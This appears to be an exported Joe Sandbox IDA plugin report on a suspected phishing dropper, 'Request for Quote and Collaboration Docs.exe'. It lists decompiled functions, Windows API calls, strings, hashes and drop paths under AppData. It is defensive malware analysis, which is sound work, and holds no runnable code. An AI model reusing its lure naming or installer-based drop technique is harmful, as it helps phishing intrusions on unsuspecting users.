Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction ID: edf170fb2c3714e597751af3e8fd03d842b3b080db723bf9ee749212abe0df6d
Opcode Fuzzy Hash: 30143bd0a3c86c84675fe989439f4e854c087b2e65987d853f873e8b3ce332d5
Instruction Fuzzy Hash: D3F17771D00229CBCF28CFA8C8946ADBBB1FF44305F25856ED856BB281D7785A96CF44

Function 0040622D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00425720,00424ED8,00405A86,00424ED8,00424ED8,00000000,00424ED8,00424ED8,?,?,76232EE0,00405792,?,C:\Users\user\AppData\Local\Temp\,76232EE0), ref: 00406238
FindClose.KERNEL32(00000000), ref: 00406244

Strings

WB, xrefs: 0040622E

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: WB
API String ID: 2295610775-2854515933
Opcode ID: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction ID: f398094869b5afba054f99dea52ba5834f85055b19877d8081192ff4b2f0d438
Opcode Fuzzy Hash: 97d8ac7551d2396f11c19c7edcb60b5d9a64dc0e7ee5904d5f336116d8bf08e8
Instruction Fuzzy Hash: DAD012319480209BC21037387E0C85B7A59AB493307524AB7F82AF27E0C738AC6586AD

Function 00406254 Relevance: 4.5, APIs: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
GetProcAddress.KERNEL32(00000000,?), ref: 00406282

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction ID: 46d0f10fa6fb29b22d4bf355a321a76136a9e9be6b3571ea53230c25cba9bd22
Opcode Fuzzy Hash: fea95c0a25b0bbf4266b289da7fdc3055b6cbcb5f703618f179729d09c13f2c5
Instruction Fuzzy Hash: 02E0CD36A08120ABC7115B309D44D6773BCAFE9601305053DF505F6240C774AC1297A9

Function 0040206A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 123comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407474,?,00000001,00407464,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020BD

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope, xrefs: 004020FB

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope
API String ID: 542301482-3359417894
Opcode ID: 57f4e40bbc1eb8bc1193217420ff9fbc7ed6710042c31834a7e6d6b3d9fbdd66
Instruction ID: b9114a0b4d3c9f05545c6126c0c632b8b73b1fcf7d0bd01aa9b6132af3d7cd36
Opcode Fuzzy Hash: 57f4e40bbc1eb8bc1193217420ff9fbc7ed6710042c31834a7e6d6b3d9fbdd66
Instruction Fuzzy Hash: 4B414F75A00105BFCB00DFA4C988EAE7BB5AF49318B20416AF505EF2D1D679AD41CB55

Function 004038B4 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

lstrcatW.KERNEL32(1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\,76233420,00000000,"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"), ref: 00403935
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000,00000006,C:\Users\user\AppData\Local\Temp\), ref: 004039B5
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet,1033,004226D0,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226D0,00000000), ref: 004039C8
GetFileAttributesW.KERNEL32(Call), ref: 004039D3
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet), ref: 00403A1C

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

RegisterClassW.USER32(00428180), ref: 00403A59
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A71
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403AA6
ShowWindow.USER32(00000005,00000000), ref: 00403ADC
LoadLibraryW.KERNELBASE(RichEd20), ref: 00403AED
LoadLibraryW.KERNEL32(RichEd32), ref: 00403AF8
GetClassInfoW.USER32(00000000,RichEdit20W,00428180), ref: 00403B08
GetClassInfoW.USER32(00000000,RichEdit,00428180), ref: 00403B15
RegisterClassW.USER32(00428180), ref: 00403B1E
DialogBoxParamW.USER32(?,00000000,00403C57,00000000), ref: 00403B3D

Strings

Call, xrefs: 0040397C, 00403985, 00403993, 004039E2, 004039E8
RichEdit, xrefs: 00403B0F
_Nb, xrefs: 00403A38, 00403AA0
.exe, xrefs: 004039C2
.DEFAULT\Control Panel\International, xrefs: 00403920
1033, xrefs: 004038D4, 00403930
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 00403944, 0040394C, 004039EF, 004039F5, 00403A05
"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe", xrefs: 004038B7
RichEdit20W, xrefs: 00403B00, 00403B06
RichEd32, xrefs: 00403AF3
Control Panel\Desktop\ResourceLocale, xrefs: 004038E8
RichEd20, xrefs: 00403AE8
C:\Users\user\AppData\Local\Temp\, xrefs: 004038C0

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 914957316-1457526803
Opcode ID: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction ID: b862c1471ebdc097eb7bd7ac0b5924faedec86185335dcace1f032bfb9465ac2
Opcode Fuzzy Hash: 8ef44c221ffc76618c9d3063fdfaa19d9e9f68cd4157665c5f0528a7ad94f78d
Instruction Fuzzy Hash: 5561B670604201BAE720AF669C46E3B3A6CEB45759F40453FF945B62E2CB786D02CA2D

Function 00403C57 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C93
ShowWindow.USER32(?), ref: 00403CB0
DestroyWindow.USER32 ref: 00403CC4
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CE0
GetDlgItem.USER32(?,?), ref: 00403D01
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D15
IsWindowEnabled.USER32(00000000), ref: 00403D1C
GetDlgItem.USER32(?,00000001), ref: 00403DCA
GetDlgItem.USER32(?,00000002), ref: 00403DD4
SetClassLongW.USER32(?,000000F2,?), ref: 00403DEE
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E3F
GetDlgItem.USER32(?,00000003), ref: 00403EE5
ShowWindow.USER32(00000000,?), ref: 00403F06
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F18
EnableWindow.USER32(?,?), ref: 00403F33
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F49
EnableMenuItem.USER32(00000000), ref: 00403F50
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F68
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F7B
lstrlenW.KERNEL32(004226D0,?,004226D0,004281E0), ref: 00403FA4
SetWindowTextW.USER32(?,004226D0), ref: 00403FB8
ShowWindow.USER32(?,0000000A), ref: 004040EC

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction ID: 25e1393ee42f6df426570fd4a537ecf3dcaf9ce603c4882d15cf919a8637c385
Opcode Fuzzy Hash: d3e31c762ced5e7f3f9f31fdb6bfb00df4bf7f17a487b0a05df9e2eacf633d02
Instruction Fuzzy Hash: 2FC1A071A08205BBDB206F61ED49E3B3A68FB89745F40053EF601B15F1CB799852DB2E

Function 00402DBC Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,00000400), ref: 00402DEC

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNELBASE(00000040,00409230), ref: 00402F7C

Strings

"C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe", xrefs: 00402DC5
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
Error launching installer, xrefs: 00402E0C
Inst, xrefs: 00402EA3
C:\Users\user\Desktop, xrefs: 00402E17, 00402E1C, 00402E22
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DC9, 00402F94
C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe, xrefs: 00402DD6, 00402DE5, 00402DF9, 00402E16
soft, xrefs: 00402EAC
Null, xrefs: 00402EB5

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\Request for Quote and Collaboration Docs.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-48111325
Opcode ID: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction ID: 37f794aabb7b6cc22e4429bd010eaec377b65274dead3bcbf73b1a6bf24b43e2
Opcode Fuzzy Hash: 5ecfa0d291b3e3150ad885ea31258d267a33d06369396b94df2ca3b34bcc353b
Instruction Fuzzy Hash: FB610571940205ABDB20AF65DD89BAE3AB8EB04359F20417BF505B32D1C7BC9E41DB9C

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope,?,?,00000031), ref: 00401793
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope,?,?,00000031), ref: 004017B8

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Strings

C:\Users\user\AppData\Local\Temp\nsk7E96.tmp, xrefs: 00401804, 00401822
Call, xrefs: 00401770, 00401779, 00401786, 00401798, 004017A4, 004017DA, 004017F0, 0040180E, 0040184A, 004018CB, 004018D4, 004018DE, 004018E9
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope, xrefs: 00401781
C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll, xrefs: 00401818, 00401834

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsk7E96.tmp$C:\Users\user\AppData\Local\Temp\nsk7E96.tmp\System.dll$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Grope$Call
API String ID: 1941528284-2629550604
Opcode ID: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction ID: bc5e94bc6114b027384bbb583ab77f55914405742357509a7a45d2f14902e26b
Opcode Fuzzy Hash: d911f2a5e86815fddb17de9d1bc7295e402278fca2ec962f4dae8fec1f8af932
Instruction Fuzzy Hash: 0541A071900515BACF10BBB5CC46DAF7A78EF05368B20863BF521B11E2D73C8A419A6E

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 0040317D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403192

Part of subcall function 0040330F: SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FE7,?), ref: 0040331D

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E,000000FF,00000000,00000000), ref: 004031C5
WriteFile.KERNELBASE(0040BE78,0040E440,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?), ref: 0040327F
SetFilePointer.KERNELBASE(000066D4,00000000,00000000,00413E78,00004000,?,00000000,?,00403095,00000004,00000000,00000000,?,?,?,0040300E), ref: 004032D1

Strings

x>A, xrefs: 004031F2
@@, xrefs: 0040324E, 00403267

Memory Dump Source

Source File: 00000000.00000002.3026103215.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3026088565.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026119007.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026134278.000000000045D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000045F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3026218446.000000000049F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Request for Quote and Collaboration Docs.jbxd

Similarity

API ID: File$Pointer$CountTickWrite
String ID: @@$x>A
API String ID: 2146148272-2136812597
Opcode ID: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
Instruction ID: e2b2982e6b1d623d5d036838b7619e310c478df2cbc778b1b7af49cc7c53be0d
Opcode Fuzzy Hash: c3e212118fbef9e4adb068f61efe2bd575096358676594393449bc7ea11798d5
